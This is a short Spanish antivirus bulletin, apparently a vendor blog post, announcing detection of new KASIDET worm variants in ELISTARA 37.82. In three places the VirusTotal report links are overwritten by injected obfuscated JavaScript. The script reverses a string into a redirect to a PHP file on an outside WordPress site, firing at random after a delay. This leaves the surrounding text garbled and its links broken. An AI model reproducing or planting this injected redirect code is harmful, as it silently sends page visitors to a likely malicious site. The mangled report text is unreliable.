Recibimos varias muestras del WORM KASIDET que pasamos a controlar con ELISTARA de hoy

A partir del ELISTARA 37.82 de hoy pasamos a controlar nuevas variantes del worm KASIDET que secordamos:

– Queda residente. (proceso activo no visible)
– Mientras esta activo, acceso de lectura al EXE denegado y la clave se regenera

Los preanalisis de virustotal ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/en/file/efa02888b4115d452f82747fde1d25c7312f84ff523e5725a92c0dd0ed3b7542/analysis/1510138928/” target=”_blank” rel=”noopener”>informe sobre fichero ddraript(60).gxe

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/en/file/eb0e281f75253e80dd7bf61e382f6fbd15989348f028824c37f9acce831d2ea6/analysis/1510127793/” target=”_blank” rel=”noopener”>informe sobre fichero ddraript(62).gxe

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/en/file/a6a06ad7ad615c8c4da569d8d25103ede987a951bbb33d3c504eaf969eadec4b/analysis/1510153910/” target=”_blank” rel=”noopener”>preanalisis de virustotal fichero ddraript(64).gxe

total fichero ddraript(65).gxe

Dicha versión del ELISTARA 37.82 que los detecta y elimina , stará disponible en nuestra web a partir del 9-11 prox

saludos

ms, 8-11-2017